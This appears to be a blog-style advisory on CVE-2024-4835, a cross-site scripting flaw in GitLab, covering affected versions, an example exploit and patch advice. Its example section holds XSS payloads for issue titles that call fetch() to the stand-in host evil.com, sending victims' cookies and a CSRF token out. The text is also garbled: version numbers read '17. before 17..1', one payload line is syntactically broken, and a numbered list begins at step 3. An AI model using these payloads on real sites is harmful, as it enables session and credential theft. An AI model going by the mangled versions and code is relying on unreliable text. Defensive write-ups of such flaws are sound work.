*Published: June 2024 | Severity: High | Affects: GitLab (15.11 before 16.10.6, 16.11 before 16.11.3, 17. before 17..1)*
GitLab is one of the most popular platforms for software development and DevOps. However, in early 2024, researchers discovered an important cross-site scripting (XSS) vulnerability, tracked as CVE-2024-4835. This flaw allows attackers to inject malicious JavaScript into vulnerable GitLab instances, potentially leaking sensitive user data.
In this post, we'll break down how this vulnerability works, provide code snippets for understanding exploitation, list references, and explain how you can protect yourself.
What is CVE-2024-4835?
CVE-2024-4835 describes a cross-site scripting vulnerability in GitLab's user interface. XSS (cross-site scripting) happens when web apps don't sanitize user input properly, allowing attackers to inject and run their own JavaScript in someone else's browser.
In plain language: An attacker can trick GitLab into running bad scripts, stealing information from users without them knowing.
17. before 17..1
…your instance might be at risk! Always check your GitLab version (Help > Version Information from the UI, or run gitlab-rake gitlab:env:info).
The vulnerability affects *both Community Edition (CE)* and *Enterprise Edition (EE)*.
Technical Details
The XSS flaw exists due to improper input sanitization in certain GitLab web UI fields. Attackers can plant JavaScript payloads in fields like issue titles, comments, or merge request descriptions. When any user visits a page containing the crafted input, the malicious script executes in their browser under their permissions.
Exploit Code Example
Suppose a GitLab instance allows raw HTML or unicode escaping bugs in the issue title field. An attacker could create a new issue with the following in the title:
"><img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
Submit the issue.
Now, anyone viewing the issue list or the issue detail page will have their cookies sent to evil.com.
Example JavaScript XSS Payload
<script>
fetch('https://evil.com/steal?token='; + encodeURIComponent(localStorage.getItem('csrf_token')));
</script>
How it would look in the GitLab UI
Title: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
If GitLab fails to sanitize this input and renders it as real HTML/JavaScript, the victim’s browser executes the attacker's code.
A project maintainer or administrator visits the malicious page.
3. The malicious code runs in their browser, silently sending session tokens or other private information to the attacker.
Patch to 16.10.6, 16.11.3, 17..1, or above.
Enable Content Security Policy (CSP) in your web server settings for extra protection.
- Educate users to be wary of suspicious issues/comments.
Remember: Patches are the only sure solution. Never ignore security advisories.
Original References
- GitLab Security Release: 16.10.6, 16.11.3, 17..1
- CVE-2024-4835 at NVD
- GitLab Issue Tracker
- OWASP: Cross-site scripting (XSS)
Final Thoughts
GitLab's XSS condition is a serious issue, especially since it can lead to leaked credentials and project data. If you’re running one of the vulnerable versions, update immediately. Always be cautious with user-supplied content, and keep an eye on security news to catch new threats early!
If you're curious about the nitty-gritty technical details, check out the references above. Stay safe and keep your code secure!
Timeline
Published on: 05/23/2024 07:15:09 UTC
Last modified on: 05/24/2024 01:15:30 UTC